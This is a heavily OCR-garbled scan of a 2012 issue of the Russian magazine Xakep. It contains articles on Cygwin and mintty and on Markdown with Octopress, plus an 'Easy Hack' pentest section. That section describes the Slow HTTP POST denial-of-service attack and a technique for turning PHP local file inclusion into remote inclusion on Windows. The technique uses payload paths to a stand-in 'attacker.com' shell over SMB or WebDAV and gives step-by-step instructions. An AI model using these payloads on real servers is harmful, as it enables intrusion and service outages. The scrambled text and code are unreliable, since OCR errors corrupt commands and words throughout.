нуждается. Конечно, большинство наших читателей уже догадались, о чем речь, ведь они наверняка знакомы со старым добрым Cygwin, но не лишнее. вспOмнить 0 нем еще раз это UNlХ-подобная среда и интерфейс командной Cygwin строки для Windows, позволяющая объединить Windows и UNlX без использования виртуализации [что немаловажно|. По сути, *пiх, портированных на это не что иное, как набор утилит из мира Windows. Что конкретно устанавливать помимо базовой системы, выбор огромен. Но так как мы секаждый решает сам для себя годня занимаемся оптимизацией командной строки, нас интересует именно этот аспект Cygwin, В общем-то, Суgwiп превращает командную строку в удобный UNlХ-терминал, к какому привыкли поклонники Linux и Мас. Все UNlХ-команды, которые тебе знакомы, прекрасным образом будут работать и здесь, так же, как работают и многие никсовые утилиты. 0днако сама командная оболочка, увы, остается практически без изменений. Cygwin решает проблему отсутствия команд и синтаксиса, но удобство работы все равно оставляет желать jiучшего. Следующий совет поможет разобраться и с этой задачей.

-

-

Ореп

ctl-]ný

сору

5hifttln!

-

ь

тd

тфм

sеlёdАll

cdeý

lF".g*,dl ls"*r",,dJ Г о*.-

ГЬ"i-l

mintty

-удобная

sizё FullsсrФ FliP s(rё.п Defauh

off Low [Ъd, Нф sý ;фщh+йfФ$d с

h fu( Г]ffiщ

L-

R.sёt

l

9

Аh+t8

Alt+пo

Аt*П1 Аh.П2

thdёsооЕ

ГЩГс","d--lГ

А."ь,

l

надстройка

MlNTTY о g le.co m,/о/m lntty Если ты используешь Cygwin или MSYS/MInGW, тебе точно пригодится mintty. Как мы уже выяснили, чаще всего людям в работе с командной строкой не хватает самого элементарного: удобного выделения

cod е.9о

r

рАlцАЕт к01,1Андную строку в удоБныЙ U],llx-

cYGWl }l

п рЕ в

ТЕР].{ИНАЛ, К KAKO]uIY ПРИВЫКли поклOНники L|шUX и ].iAC одб

текста, функции copy,paste, настроек прозрачнOсти 0кна и так далее. А значит, нужна новая программа-терминал. Mintty - одно из самых популярных и удобных решений в этой области. N4intty, так же как и Сопsоlе, о которой речь шла в начале, призвана оптимизировать работу командной строки. Функциональность этих двух софтин весьма схожа, правда, mintty, к сожалению, не поддерживает табы, Если же наличие или отсутствие вкладок некритично, на mintty точно стоит обратить внимание, потому что 0на предOставляет: удобный copy-past;

. . . . .

функциюdга9& drордлятекста,файловилидиректорий; возможность открывать ссылки по <Сtгl>+клик; полноэкранный режим и прозрачностьдляwiпdоwsvistа и7; поддержку различных кодировок, включая UТF-8, а также многое, многое другое,

Е

хАкЕр

09 /]641 2012


ъ

до 3ff сЕнтяБря

всЕм дЕржАтЕлям ..Мужской прЕдостАвляЕтся

{

0%

кдрты>>

СКИДI{A

НА НОВУЮ КОЛЛЕКЦИЮ В СЕТИ МАГАЗИНОВ

цоу&свштlвмдшСlW. ПОДРОБНОСТИ НА

www.mапсаrd.rч

млхIм ЙУЖСКОЙ

ЖУРН^!Д

оАо

С

ИНЕНЕЙ

"Альфа-Банк".

А -

Апь#а.

Банк tgаmеl

Генеральная лицензия банка России на осущесrвление

:' i:, {_ :_

банковских операций от 05.0З.2012 NSlЗ26''


PcZONE

з

э

Антон Жуков lantitsteгBgmall,comJ

накомься.

то Markdown

используЕм хАкЕрский язьlк рАз},lЕтки для сАмых рАзньlх зАдАч Пожалуй, главным открытием за последнее время для меня стала не какая-т0 нOвая технология или новый удобный сервис, а... язык разметки. Казалось бы, что здесь может быть примечательного? Только если речь идет не о Магkdоwп. Простая идея, как можно оформить текст и превратить его в валидный HTML, выстрелила настольк0, чт0 использовать его можн.о практически повсеместно. А благодаря популярности Магkdоwп в хакерских кругах, появился еще и совершенно новый подход [и сервисы) к публикации контента, в основе которого лежат статические файлы. 048

MARKDOWN? чт0 эт0?

Легче всего смысл Магkdоwп объяснить на простейшем примере. ,Щля составления списка дел я использую обычный текстовый файл, в котором пишу:

Список дел: - написать статью о Maгkdown

-

сделать

иллюстрации

отправить в редакцию

Каждый из нас умеет оформлять сложные структуры в простом plain text'e, и в этом основной смысл 1,4аrkdоwп. Например, приведенный текст можно сразу сконвертировать в HTML, при этом интерпретатор Маrkdоwп lскажем, реализованнь й в виде плагина к текстовому редактору вроде SublimeText или Notepad++] сам расПOЗНаеТ, ЧТ0 ИМееТ ДеЛ0 С НеНУМеРOВаННЫМ

СПИСКOlt4:

<р>Список дел: </р>

хАкЕр

09 /]641 2012


знакомься. Это Магkdоwп

)

ll I в

lп,@

-

о!].,,=-

1.ý

J

f]

3аголовок

заголовок

3аголовок

Подзаlоловок

Подзаголовок

ползаго"цовок 1- что то в!дел,ть "хирнtм"

ЕЭТоIабэацеяl;но

и

Возйохно, самый функциональный

редактор для windoW9

<uI>

в

# заголовок ## Подзаголовок

В этом абзаце нухно:

1. что-то выделить **жирным** и *курсивом* 2. поставить ссылку на сайт автора - [Dагiпg FlгеЬаl1]

З.

( http : / /da гi пgfirеЬа I1 . net ) процитировать кодJ например, и вставить портрет автора

'рпlпt

! [flxoH Грубер] ( http: //dагiпgfiгеЬа11 addison-bW-425.jpg)

.

"Не].1о, WoгId!'''

net/gгaphics/authon/

В этом примере хорошо видно, насколько читабельным остается текст. Фактически очевидного решения не придумали только для

вставки ссылOк и картинOк, плюс изначально язык не позволял определить масштаб изображения. В результате обработки интерпретатOрOм на выхOде мы пOлучаем готовый код:

головок< /h1 > головок< /h2 > <р>В этом абзаце нужно:</р> <

h1 >За

<

h2 >Подза

<о1> <

li

>что-то выделить < stпопg>хирным</stгопg>

и

<еm>курсивом</еm></1i>

<1i>поставить ссылку на сайт автора - <а hгef=''http:// dагiпgfi геЬаlt. net" >Dапlпg Fineba11</a></1i> <li>процитировать кодl например, <code>pnint''Неllо, wогld! "</code></J,i>

хлкЕр

09 /1ь/,/ 2D12

l,,lac

os х

: //dагiпgfi ГеЬаt1. net/gгaPhics,/authoг/ addiSon-bW-425.jpg" аlt="Дхон Грубер'' title='''' /></р>

редакцию<,/1i>

Как пишет сам автор lr4агkdоwп flжон Грубер, идея языка в том, чтобы синтаксис был настолько прост, компактен и очевиден, что размеченный документ оставался бы полностью читаемым и непосвященный человек мог бы даже решить, что перед ним обычный plain text. Как Маrkdоwп добивается такого результата? Возьмем чуть более сложный пример. Представь, что тебе нужно оформить нумерованный список. 0чевидно, что ты поставишь перед каждым пунктOм соответствующий номер. Нужно акцентирOвать внимание на какие-то слова? Ты наверняка сделал это с пOмOщью каких-т0 симвOлOв.

5.

удобный инструиент для создания ве6-документоs в

</oL> <p><img Sгc="http

<I1>сделать иллюстрации</li>

</u1>

и

<Ii>и вставить портрет aBTopa</1i>

<1i>написать статью про Рlагkdоwп</li> <1i>отправить текст

Бесплатный

по сути дела, ты уже знаешь синтаксис lr,lагkdоwп - все прочие нюансы за пять минут осваиваются чтением официального мануала ldзщцLLге

Ь

а, п еl/рщлсt slmзr!!эц п/sщ]l

нА ФигА кOзЕ БАян?

х].

0'кей, язык разметки действительно очень простой и понятный, Но где это можно использовать? Зачем это нужно? Набившая оскомину аббревиатура WYSlWYG давно доказала свою несостоятельность среди прOдвинутых пользователей. Мы пробовали использовать визуальный подход при оформлении материалов на lirkep.] ]], и это был тихий ужас. WYSlWYG-редакторы, даже очень хорошие, работают криво и в случае сложной верстки начинают безбожно глючить. Многие сложные вещи невозможно было сделать в принципе. Не использовать же HTML в чистом виде [хотя чего греха таить, иногда мы так и делаем)? Та же самая wikipedia с самого начала свOег0 существOвания предлагала специально разработанную wiki-разМетку. А любоЙ мало-мальскИ толковый форумный движок поддерживает bbcode или что-то похожее. Проблема одна: испOльзуется, но везде разная, N4arkdown же сразу мноразметка гим пришелся п0 вкусу, в результате чего его взяли на вооружение мнOгие популярные ресурсы. Бесспорно. намного удобней писать комментарий в форуме, используя разметку Магkdоwп, нежели чистый HTML, в тегах которого легко запутаться. Именно поэтому сервисы tumЬlг и роstегоUs поддерживают такой режим ведения блога. Также поддерживают 1,4аrkdоwп-разметку многие Clr,lS: Druраl, Рlопе, RadiantCMS и фреймворки: Django lтребуется установка руthоп-mагkdоwпl, Ruby on Rails |требуется установка BlueC]oth, N4аruku]. Поддержка синтаксиса есть в любом уважающем себя текстOвом редакторе, а опцию для быстрого предпросмотра легко пOдключить в виде плагинов. К тому же есть немало специализирOванных редактOрOв, изначально заточенных для работы с Магkdоwп (ты можешь выбрать подходящий, прочитав отдельную врезку). А интерпретаторы для обработки языка разметки реализованы на любом языке, поэтому, будь твой проект на Python, PHfl Ruby и чем-либо еще, везде ты сможешь предложить пользователям Магkdоwп. flальше больше. Магkdоwп стал настолько пOпулярен, чт0 лег в основу многих сервисов. К примеру, набираюtций обороты стартап sсгiрtоgг,аm позволяет превратить статические файлы, оформленные на Маrkdоwп и выложенные в DгорЬох, в красивый блог [с возможностью подключения любого домена).

-

-

-


PcZONE R_

Подхваченная идея быстро эволюционировала в кругах гиков и выросла в создание таких движков, как ОсtоргеSs (осtоргеss.огg).

о

mdrвmоь,

., sM E*ddn

MARKDOWN И ВЕБ

это, как заявляют разработчики, хакерский фреймОсtорrеss ворк для блогинга. По сути, это генератор статического блога, который гврсит файлы на lr4aгkdown, и выдает на выходе набор HTMLeK, которые и будут являться нашим блогом. Но есть один гив качестве площадки для размещения файлов по ковский нюанс умолчанию предлагается использовать GitHub lеще более гиковый вариант использовать для этого облачное хранилище файлов Amazon SЗ]! Напомню, github.com не только позволяет бесплатно размещать репозитории кода, но еще предоставляет бесплатную платформу для создания блога к каждому из проектов {oages, github,com), Изначально это было нужно, чтобы делать странички для проектов, а мы сделаем целый блог. если Будем считать, что учетка на GitHub у нас уже есть, нет, то это вопрос тридцати секунд. Первым делом необходимо создать репозиторий, в котором будут храниться исходники блога, Репозиторию необходимо дать имя следующего вида: useTname. github.com lпозже можно прикрутить сторонний домен]. После чего потребуется установить на своей машине Осtорге5s {осtоргеss,огgl. В общем виде работа с блогом будет выглядеть так: ставим на локальную машину 0сtоргеss, пишем посты в Магkdоwп-файлики, правим шаблон lесли надо], выполняем в консоли команду для генерации контента и, наконец, заливаем полученный HTlt4L + JS в наш репозиторий на GitHub, Ну а теперь по порядку. 1. Первым пунктом идетустановка Octopress 2.0. Для его работы необходим установленный Ruby'1.9.2. Кроме этого, должен быть еще установлен Git.,Щля начала скачиваем исходники 0сtоргеss, подготавливаем их и устанавливаем:

-

*rё

аге

.эa

Nфfumфt ýyfrar

.rФr.з

soma Mafkdown ýyntax ехаmрlез

sor! elarrla9 of н.rkdоФ syntar that

то lёаrп !or., tolloY th.'k*doи 'Mlp _ bour fuT.xt'dlatoq.

.lфld l.Ё.. ] lrgrt ,, ital].5l Ih| rD //rа|ехl 5ачr..fо.аё п.?л

-

mtзЙрrаrmка_*еrехt

{ББ цц; g 0

уоч .ап

syntat' lInk m

l....lезопе.qmDlеrоf Miildoи rvntaxthrtyou@n€dtиth Reтert,T.ka,пmo,.,follogth.'MaddФOlynlri Linkin'HelDэ

elat.xtI r.r.',tdra ] Iцпkl

щ

:

-

You can alýo Uý.

{f, t.qi iп

Фо.ё./U.

,оOr

-

git

Очень неплохое рещение для Liпчх. хоть

gem

install

и без

альтернатив

Ьчпldег

bundle inStaII

2. Затем устанавливаеi{ стандартную

Tel.{y

0ctopress.

nake inSta1]-

З.

Далее следует настроить octopress на работу с нашиl,{ рgпозитOрием:

гаkе Setup_github_pages

4.

сlопе git://github.com/imathis/octopгess.git

оuг_Ьlоg_fоldег ] cd [оur_Ьlоg_fоldег] [

В процессе выполнения задачи нас попросят ввести URL нашеrо репозитория. В принципе, после этого можно уже публиковаться. Делается это одной командой:

рЕдАктOры для рАБOты с MARKDOWN а

l

то. что Магkdоwп может

__

упрOстить жизнь, несомненно. tlo чтOьы использOвать его прOдуктивно, нужно работать с софтом, который его поддерживает. Спешу обрадовать: привычные редакторы вроде sublimeText, TextMate, Vim и Emacs, которыми ты наверняка пOльзуешься, отлично ладят с Markdown, если их этOму научить с п0мощью плагинов.,щля sublime это sublimetext-maгkdownprevieW (bit.lv/Wd FWo4l и

sublimeMarkdownBuild

(bit.lylltK64j

),

для TextМate

Маrkdоwп.tmЬчпdlе -lv/M87wE5l, Vim markdown и

[bit.

для -Vimlьццдаlkшl

Vim-mаrkdоwп-ргечiеw {bit.lv/

Emacs MfPSzx l, а для Emacs Магkdоwп Mode (bit.lylbMgC0l. Или можно заюзать спdциализи-

-

рOванные редактOры.

о50

а

urlilDоws

MarkdownPad lbit.ll o3hudU| - 0дин из наиболее популярных редакторов под Windows для работы

'

с Маrkdоwп-документами.

Мегаполезной фичей является мгновенный предпросмотр (Live previewl как только ты что-то меняешь в тексте, в правой части 0кна мгнOвенн0 применяются внесенные изменения. Имеется поддержка горячих клавиш, вOзмOжнOсть из!lенить таблицу стилей CSS непосредственн0 внутри прилOжения. Более простой и элегантный инWriteMonkey lbit.lv/ струмент UmIVxl. 0н менее функционален, но благодаря полноэкранному режиму и возможности фокуса на кOнкретном участке текста lклавиша Fбl более удобен для писателей и блоггеров.

-

-

л a' л0

-

LllilUx Пользователямданной UL не так повезиз специализированных

решений можно посоветовать только Reтext lbit.lvlPs7qTK l. Как и в МагkdоwпРаd, тут есть <живой>> предпросмотр, а также функция экспорта в Google Docs и форматы HTML, РDF и ODT. С другой стороны, можно воспOльзоваться пOпулярными редакторами Geany lbit.lv/4Cf Bbi) но это прои Kate lbit.lv/15lniDl ст0 универсальные инструменты для работы с кодом, поддерживаюшие Маrkdоwп. Поэтому такой вариант больше подойдет ве6-девам. В обоих случаях есть пOдсветка синтаксиса, автOматическая подстанOвка завершающих тегов HTML/XML, простой менеджер прOектов, свертывание кода, большое количество кOди р0 вок,

-

i,lA(

I_

Рекомендчю обоатить внимание на бесплатный редактор Mou (bit.lylг47fGsl. 0н поддерживает подсветку синтаксиса, предпрOсмотр в реальном времени, полноэкранный режиil, автOсOхранение, инкрементальный поиск, экспорт в HTML, пользовательские темы,

пользовательские Сss-стили, испOльзуемые для предварительнOг0 прOсмOтра. 0чень функциональным решением является также платный редактор MultiMarkdown Соmроsеr от создателя lbit.lv/PliRqKl диалекта MultiMarkdown. 3десь из коробки доступны всякие вкусности вроде таблиц и вывода в различные форматы. Правда, есть у программы и 0дин за нее придется выминус ложить 9,99 долларов.

-

-

хАкЕр

09 /1641 2012


знакомься. Это Магkdоwп

стOмнOму дOмену, т0 это легко сделать, воспOльзовавшись простой инструкцией {ьit.tlмwgпзt] На первый взгляд такой подход может пOказаться странным, но на самом деле он предельно удобен. Сайт работает очень быстро, потому что состоит из статических файлов и размещается на надежных площадках. Благодаря использованию GitHub любой может предложить свои изменения в посты и ты легк0 можешь их применить. Сам Octopress предлагает отличный НТМL5-шаблон с массой плюшек вроде быстрого подключения

-

0чень функциональное

внешней системы комментариев [например, Disqus'al. Конечно, это история не про обычных людей, но мы о них и не говорим.

рещение для твоего уютного блохика

MARKDOWN: ЧТ0 ДАЛЬШЕ?

гаkе gen*deploy

Простая идея постоянно эволюционирует. Первая реализация, написанная flжоном Грубером, являлась обычным скриптом на Регl. По мере того как новый язык разметки обретал популярность, пOявлялись нO8ые реализации, написанные на С#, С, Соmmоп Lisp, Haskell, Java, JavaScгipt, Lua, newLlSP, Регl, РНР, Руthоп, Ruby, scala сторонними разработчиками, которые ориентировались на первую реализацию, ставшую своего рода стандартом. Помимо реализаций на разных языках программирования, появились еще лрилOжения, расширяющие синтаксис ltlaгkdown дополнительной функциональностью, такие как lr4ultiMaгkdown и pandoc. !иалекты Markdown позволяют работать с документами из множества файлов. автоматически делать таблицы, собирать библиографии, вставлять математику на MathML и комбинировать код с другими языками верстки, включая LaTeX, HTML и прOчие. Расширенные диалекты умеют автOматизировать различные вещи, например прOставлять правильную типографику. Кроме того, выводить можно не только в HTltlL, но и в РDF, RТt, 0DT и даже mап-страницы |люди. хоть раз видевщие синтаксис языка tгоff, оценят). Все это позволяет использовать lt4агkdоwп в самых разных целях: писать дOкументацию, книги и целые сайты, ПопулярностЬ этого изящного синтаксиса разметки набирает обороты по всему миру. Честно сказать, Магkdоwп как наркотик попробовав один раз написать пост на нем, ты вряд ли вернешься к обычному HTML. Использовав Магkdоwп при написании этой статьи, я могу не только преобразовать ее в РDF, но и без лишних трудозатрат опубликовать на сайте. А редакция, подсев на Магkdоwп, уже всерьез задумалась о разработке простых скриптов, чтобы кOнвертировать текст в файл верстки используемой в издательстве программы lnDesign. Я этому не удивляюсь.

или двумя:

гаkе genenate nake deploy lt4ожно до deploy выполнить еще гаkе ргечiеw, в результате чего запустится локальный веб-сервер на адресе http://0.0.0.0:4000, где можн0 пOсмOтреть, чт0 же нагенерировал 0сtоргеss. Если необходимо что-то подправить в конфигурации, то нужно об-

4.

ратиться к файлу _config,yml. Теперь пришло вреr4я создания первого поста:

гаkе пеW_роst["Название поста''] В папке sоuгсе/_роsts/ появится файлик с текущей датой и за-

головком поста, в формате Магkdоwп. Берем любой понравившийся Магkdоwп-редактор, редактируем файл и публикуем п

ост:

git git git

add

-

commit -m "Inltia] post'' push оrlgiп sочгсе гаkе gепепаtе паkе deploy

все, можно переходить по адресу блога и проверять, как опубликовалась первая запись. Если нужно привязать свой блог к ка-

т

ппm

ДРУГИ Е ГЕНЕРАТOРЫ СТАТИЧЕСКИХ САЙТОВ

.0тличный онлайн-редактор, позволяющий

l

надо сказать, что 0сtоргеss не единственный инструмент для генерации статического контента. Хотелось бы остановить твое внимание еще на двух инструментах: Роо|е {hitbUcket. огg/оЬепsоппе/рооlеl и BlazeBlogger {blaze.blackened.cz). Poole генератор статических сайтов, использующий маrkdоwп. 0н написан на python и для работы ничего, кроме него, не требует. Работать с ним очень легко: ты создаешь содержимое ве6-страниц с помоlлью Маrkdоwп poole - и превращает их в простой и красивый сайт с навигационным меню. Принцип работы несложен: програм1.1а берет файлы из директории input и копирует их в директорию oUtput, при этом все файлы с расширением md, mkd, mdown или mаrkdоwп конвертируются в HTML с pa9e.html в качестве каркаса. Если ты хочешь заменить внешний вид сайта, то необходиttо будет подредактировать файлы pa9e.html и iпput/poole.css. Чтобы обновить, изменить, добавить контент, необходимо выполнить;

> рооlе.ру --bulld После чего Poole эаново сгенерирует твой сайт, Еще один инструмент для создания статического сайта BlazeBlogger. flля своей работы он не требует ни баз данных, ни выполнения скриптов на стороне сервера. Все, что нужно, это установленный Регl-интерпретатор.

-

хлкЁр

о9 /1ь1,/ 20J2

-

-

для создания контента также используется Markdown, так

.

чт0 ты можешь создавать свой блог в любом понравившемся маrkdоwп-редакторе. К основным воэможностям относятся: создание валидных HTML 4.0,1 или XHTML '1.1 страниц и RSS 2.0 фидов; генерация помесячных и погодовых архивов,

поддержка тегов. Инструмент позволяет создавать как блогпосты, так и просто страницы, позволяет быстро поменять тему, сSS-стили или локализацию. Подробную информацию по опциям всех утилит, идуtлих вместе с BlazeBlogge1 ты можешь посмотреть на официальном сайте.

(охранять документы в DropЬох и иtпортировать хз неrо: dillingeria; . расщирениедля Google Сhrоmе, Firеfox и Thunderbird, позволяюlцее писать письша, используя llarkdoWn-paзMeTKy: bit.lylJW2!Y1l.


в3лOlti/ЕАSY НАСК

Алексей (GrеепDоgD Тюрин, Di9ital 5ecurity ltwitteLcom/antyurin]

SY

ш В(я инфорtация предOставлена

исключительно

ознакOмительных целях, Ни редакция, нl автор не не(ут 0тветстзеннOсти

в

залюбой возвожный вред, причиненный tатериалахи данной статьи.

из].{ЕнЕниЕ пАРсЕРА В WIRESHARK :Wiгеshагk

-

рекрасная тулв десятку самых необходимых хак-софтин. Конечно, ее главным плюсом являются разнообразнейшие диссекторы, то есть <парсеры> тех или иных прOтOколов, которые Wiгеshагk ,.интеллектуально> применяет в зависимости от протоколов, портов и прочего. Но если с низкими протоколами (|Р, ТСР, ARP, Еthегпеt] чаще всего все достаточно просто, то с верхними, уровня приложений, частенько возникаюттрудности. 0собенно когда используются нестандартные связки [инкапсуляцияl протоколов или нестандартные порты. На самом деле это небольшая проблема. Хотя некоторые и не в курсе, но Wiгеshагk позволяет четко указывать, какой уровень и каким диссектором парсить. Все, что требуется, выделить (странный> пакет по правой кнопке, выбрать <Decode as...>

анализатор протоколов [или сн ифферl. за, во многом незаменимая. 0на не случайно входит

П

-

указать необходимый протокол. В качестве практического примера могу отправить к разбору процедуры аутентификации клиентом на MS SQL сервере без включенного обязательного шифрования трафика. и

Емм

пй. hr.. 1656.шч1192.16Е.79.1 9з' 1б.124Оз1192.168.79.128 9з6lffi.з2]9s192,168.79.1 gз7 аФ.qsL$192.!6а.79.7 9зЕ tФ. s2Фr2192.1fi.79.128 192.168.79.128 ffi 9зз

99 1Ф6.124озоа2.168.79-128

мйп 192.168.79.128 192.15Е.79.1 192.1б8.79.1

192.168.79.1zE 192.168.79.128

192.168.79-1 192.168.79.1

Рrфсоl ио c]left: Епсгяtеd sýнб кр ssh > 9227 [кк] ssнц sсгчеl: EncDrpted кр 9227 > sgh [кк] ssнй c]lёft: Епсцrytеd кр 59h > 9227 [кк] ssм sегчеr: Е*црt€d 9227>5sh[KK] ]eft : Еftrурt€d

c'I

ssh > 9227 tв7 sеfчеa: Епсцrytеd

cllml

ErcDryted

ssh > 9227 [кк] sеrчеr: Ercrypted

c'l{efr: ЕrcгtrМ l Гfuм Г-q..__l _l

Г-н""

Г-Е_lГ-БГ_-lГlм l

Выбираеи необходимый дхссектор для конкретнOг0 пOрта

прикрутить sOL},lAP к BURP SUITE

f

flанный пост трудно назвать задачей, скорее это некая приятность

для пентестера, которой я и хочу поделиться. Ползая мехду различными проксиками типа WеЬsсагаЬ, ZAB Вчгр и так далее, я в итоге [или пока чтоl остановился именно на Вчгр'е. Имхо, WеЬsсаrаЬ подводит количество багов и отсутствие некая недоразвитость... В то же время новых версий, а ZAP такая тулза, как sqImap, которая используется для продвинутой раскрутки SQL-инъекций, тоже очень хор��ша и местами приятно выделяется на фоне конкурентов. Хотя с ней есть некоторые с увеличением функционала количество трудносtи. А именно консольных параметров разрослось до неадекватного :]. То есть без GUl с ней работать не оченьудобно. Хотя надо отметить, что пучок сторонних гуев к ней имеется. Но дело не в этом. Чисто почеловечески приятно, Когда у тебя <все под рукой> и когда работа по возможности автоматизирована. И похоже, не я один так думаю,

-

-

Как и у собратьев Вuгр'а, у него самого есть система добавления дополнительных плагинов, что иногда очень выручает {но об этом лучше написать отдельную статью). Так, добрый пентестер под ником сгOhп взял и реализовал аддон к Вчгр'у- GUlпрослойку для sqlmap. Теперь, прикрутив плагин, мы должны всего лишь выбрать необходимый URL, кликнуть правой кнопкой и отправить его в гуишку. А далее уже работать с sqlmap через этот гуи, В качестве дополнительного бонуса гуя сейчас имеется поиск по выводу и его экспорт в файл lTo есть лучше обыкновенной виндовой консолиl. С точки зрения прикрутки плагина, все, что нам требуется, выполнить следующие действия: 1. Скачать плагин с goo,gl/tNf9M.

-

2. РазархивироватьеговпапкукВчrр'у.

з.

ИзменитьsUitе,Ьаt на:

java - classpath Ьuгрsчltе_паre. jаг; plugin_nare. jаг

Ьчrр. StагtВчгр

хАкЕр09 /164/2012


Хакерские секреты простых вещей

ПРОВЕРИТЬ УСТОЙЧИВОСТЬ ВЕБ-СЕРВЕРА К SLOW POST рЕшЕниЕ В прошлый раз мы начали разбирать классические и не очень классические_DоS-атаки на веб-серверы. Сегодня продолжим, пOэтOму я 0пускаю ввOдную часть,

ugdg*

Итак, позвольте рассказать про атаку siow НТТР POST DoS. Название ее определенно говорящее, Идея атаки в том, чтобы уложить НТТР-сервер за счет использования (медленных" POSTзапросов на сервер. Так, в заголовке РOSТ-запроса клиент передает серверу Content-Length большого значения, а после удачного запрOса начинает 0чень медленно передавать данные. Веб-сервер получает такоЙ РOSТ-запрос, видит в нем content-Length и жлет сOOтветствуюцее значение данных в теле запроса, но, как я уже сказал, данные прихOдят к нему медленно, по чуть-чуть. Таким образом, атакующий, имея под своим контролем небольшое количество хостов lвозможно, даже один), может создавать Iакие (висящие кOннекты> и израсхOдOвать ресурсы сервера, так чт0 тOт не смOжет 0твечать легитимным клиентам. Исчерпавшиеся ресурсь могут быть различны. Например, можно занять все потоки ИлИ занятЬ И1,4И всю паМятЬ.

lfr НПР

attackveBion 3.6 (slow headers and ýlow

POST)

|-Б_]i

Е lЕП

Test type and destinatbn Attack

type

slow PoST

URL

://defcon-russia.rUlrules,php

Proxy

Gепеrаl раrаmеtеrg

trlТГ(s) lюБ-П

connections

Соппесtiоп Timeout User

rate

agent

IMozilla/a.0 (compatible; MSIE 7.о; WindovJs NT 5.1 Diagnostics

Е

length FOоOоo

Rапdоm

PoST field

Е РRОАСПЧЕ RiSK

hr.p '9i,

> >

3919 >

ftlD rnr]

trni (к] sф.0 л.k frtp t{x] s.q_1 л.ь1 Hii.lrфo Lб0 of r r.aj.*]d рф] L&r] 5.ф1 л.k.r2r llьбя]5 t.ф 3915

Itе s.Fft fttр , .rr5 Jfte ,.щft htp > саБ tEP s.sф

d : r.rgфrd рФ] lxr] srFr е\.}2, frп.6$т L.ф ф l ...l9d]d рф] > .9r5 tKK] I(p l.sr.nt of а ге.59.Ф].d Polj htip > зеr5 (tкl slq:Lgщz щ::r,_tg{ trrp

Wй . rn-,

i:1, to(.tr

;iii.i"]:",l1',i;' ryo;i

ililr.n|oi

, Nn

;йr!,

]...й}i

i,;;

Заголовок отправлен. данные Iqjv...l передаются. Г|овторяем много раз = сайт в дауне :l

как видно, данная атака основывается на (уязвимостях> самого протокOла НТТР, Ведь мы не вь лезаем за рамки протокола, а эмулируем мнOжественнOе пOдключение медленных клиентов. То есть с тOчки зрения лOгOв, если все настроить правильно, жертва мOжет дOлг0 не дOгадываться 0 причинах падения ее сервака.

такая (нормальность> атаки рOждаетдостаточно неприятную проблему * от нее непросто защититься. Если посмотреть более общим взглядом, то можно заметить, чт0 данная атака в0 мнOгOм гохожа на описаFFь й в rрошлоч номере Slоwlогis,,Д,а и вообще вспоминаются разнообразнь е олдскульные атаки, типа SYN-flood'a, история повторяется на новом уровне, Но даже с учетом большого сходства s оwlогis и Slow POST'a они достаточно различны с точки зрения атакующего потенциала. Как минимум если, используя Slоw]огis, можно завалить в основном Арасhе-подобные веб-серверы, то slow POST'y пOдвержены почти все основные серверь]. Это и тот же Apache, и все версии llS, и что-то альтернативное вроде lighttpd, Что касается пg пх, т0 ситуация с ним не совсем ясна, Чисто теоретически он не должен быть подвержен такой атаке, но фактически. с учетом тех или иных настроек его самого и 0С, на которой он крутится, иногда пOлучается ег0 завалить. Что еЩе.страшно>, как и Slоwlогis, реализовать атаку не составляет труда, используя любой скриптовый язык.., Но изврацаться нам ни к чему, так что отправляемся за официальнOй тулзой от OWASP

-

Kunoo,

Attack-specific parameters сопtепt

Ёrj:j-,

payload

Randomis€

quit

Настройка тулзы от oWAsP для тестирования

l

-

-

рАскрутить LFl д0 RFI пOд ос WINDOWS ,

рЕшЕниЕ

LFl lLoca Fi е lnclude]

одна из очень распространеннь х вебуязвимостей. Суть ее в том, что при некорректной фильтрации ввода или ее отсутствии (либо какой-нибудь логической дыре) мы иVеем вOзмOжtsOсть подгDуJито произвольнь,Й скOИl'1l, l0торhlЙ испOлнится на веб сервере. Простейший пример скрипта на РНР будет выглядеть следующим образом:

-

...?

$GET[

.file'];

>

Таким образом, если мы передадим так0[,4у скрипту в параметре fi е имЯ какого-т0 еще РНР-скрипта, то РНР при его испOл нении пOпь тается пOдгрузить скрипт из параметра и исполнить его. Хорошо, но нам, как атакующим. ведь интересно не просто что-то подгрузить из функционала веб-приложения, нам ведь

нужен шелл. И здесь у нас возникает желание подгрузить скрипт

с нашим контентом. Как это сделать? Способов есть несколько, Конечно, самь й простой наш РНР-шелл на какOм - расположить

.:.'ono

кАкЕр

09 /]641 20]2


Взло].{/ЕАSY НАСК нибудь еще ве6-сервере

http: //atta

с

и

указать полный путь до файла в виде:

можем указать порт, по которому он к нам будет коннектиться:

\\attac kег.

kег . соm/ She11 . php

соm:

зlз37\s

he11 . php

Но данный способ срабатывает нечасто, так как в конфигах РНР есть опция, запрещающая подгрузку удаленных файлов. Казалось бы, все, здесь нас больше ничего хорошего не ждет и надо искать другие, локальные пути. fla ведь запреты запретами и теория теорией, а в жизни у нас есть топор в рукаве :]. Вообще, мне лично очень интересны кросстехнологичные багифичи. Oб одной из них мне недавно рассказал Алексей Синцов [вот ведь, на все руки мастер:)), чем меня очень лорадовал. Фича оказалась достаточно простой, но позволяющей обойти упомянутый запрет на загрузку файлов с удаленных хостов. это, во-первых, Все, что требуется для обхода ограничения, чтобы веб-сервер с РНР был запущен под Windows, а во-вторых, указать путь до нашего файла в виде:

Таким образом, lt4ы можем пробрутить порты и найти, какой из них разрешен. Здесь важно отметить, что если указан порт, отличный от стандартного, то подключение уже будет происходить не по SMB, а по WebDAV. Итак, мы имеем такую последовательность действий: 1. Понять, что 0С -Windows. 2. Поснифать на аttасkеr.соmтрафик и, брутя порты,

\\attac kег. com\she11

и вO3никАЕт жЕлАниЕ пOдгрузить скрипт с

3. 4. 5.

-

.

php

То есть как будто до виндовой шары. Как ни странно, данный способ работает. И похоже, потому, что схема подключения здесь не указывается. На всякий случай еще раз отмечу, что данный способ винда, так как только в ней действует сработае1 только если 0С

-

данное <сокраlцение> на уровне АРl. Но и это еще не все. 0чень часто веб-серверы находятся за файрволами, а потому обратиться напрямую по шаре через интернет к веб-серверу нам вряд ли удастся. Но интересно, что мы

пOнять, где есть <(дырка>_

Поднять на данном портуанонимный WebDAV или шару, Выложить на нее шелл и подгрузитьего. Радоваться.

кАк эт0 сдЕлАть? спOсоБOв Есть нЕскольк0. нАши1.,| KOHTEHTOJI{.

пOлучить лOгин и пАрOль 0т SsH

WтшI

